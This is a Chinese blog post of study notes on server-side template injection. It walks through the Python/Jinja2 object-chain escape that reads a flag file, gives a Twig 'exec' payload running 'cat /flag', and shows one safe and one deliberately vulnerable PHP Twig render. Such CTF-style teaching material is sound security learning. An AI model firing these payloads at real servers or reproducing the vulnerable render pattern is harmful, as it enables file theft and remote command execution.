ssti

攻击流程,以文件读取为例子

函数解析

1
2
3
4
5
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

获取基本类

1
2
3
4
5
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

 

获取基本类后,继续向下获取基本类 (object) 的子类

1
object.__subclasses__()

找到重载过的__init__类 (在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的)

1
2
3
4
''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>

查看其引用__builtins__

builtins即是引用,Python 程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 file 以实现读取文件的功能

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()

 

 

浅析SSTI(python沙盒绕过) · 大专栏 (dazhuanlan.com)

flask下jinja2模板注入漏洞,可以利用“{{  }}”进行注入;

php下twig模板注入

看两段代码观察不同的地方来知道为什么会出现该漏洞

  • 输入{{7*‘7’}},返回49表示是 Twig 模块
  • 输入{{7*‘7’}},返回7777777表示是 Jinja2 模块

用对应的twig模块的payload:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

 

<?php
require_once '../Twig-1.35.3/lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
echo $output;

 

 

 

<?php
require_once '../Twig-1.35.3/lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分
echo $output;

 

 

第二种会造成漏洞

对比上面两种情况,简单的说服务端模板注入的形成终究还是因为服务端相信了用户的输入而造成的(Web安全真谛:永远不要相信用户的输入!)

posted @   heartbeat111  阅读(102)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
点击右上角即可分享
微信分享提示